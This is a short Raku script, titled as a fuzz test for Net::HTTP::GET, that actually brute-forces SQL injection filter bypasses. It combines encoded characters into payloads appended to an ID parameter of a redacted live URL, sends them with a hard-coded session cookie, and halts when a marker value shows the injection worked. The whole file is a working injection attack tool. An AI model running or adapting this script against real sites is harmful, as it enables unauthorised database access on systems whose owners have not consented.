fuzz for test of the Net::HTTP::GET

use Net::HTTP::GET;
my @chars = <%2d%2d%0b%0a %a0 %0a %23 %26 %0e%0f ' *%26 @.jpg>;
my $count = 0;
for @chars X @chars X @chars X @chars -> $check {
        my $target_check = $check.join;
        my $url = "http://www.xxxxxx?ID=11733)"~$target_check~"And%20True--%20-";
        say $count.Str~" --> "~$url;
        #exit;
        my $html = Net::HTTP::GET($url,header=>{:cookie<PHPSESSID=u6dlq2pem8hqtbfa6998rs6g71; cuid=29450>});
        my $swap_html = $html.body.decode('utf-8');
        say $swap_html;
        if $swap_html ~~ /99999999999/ {
          say 'Found!!!';
          exit;
        }
        $count++;
}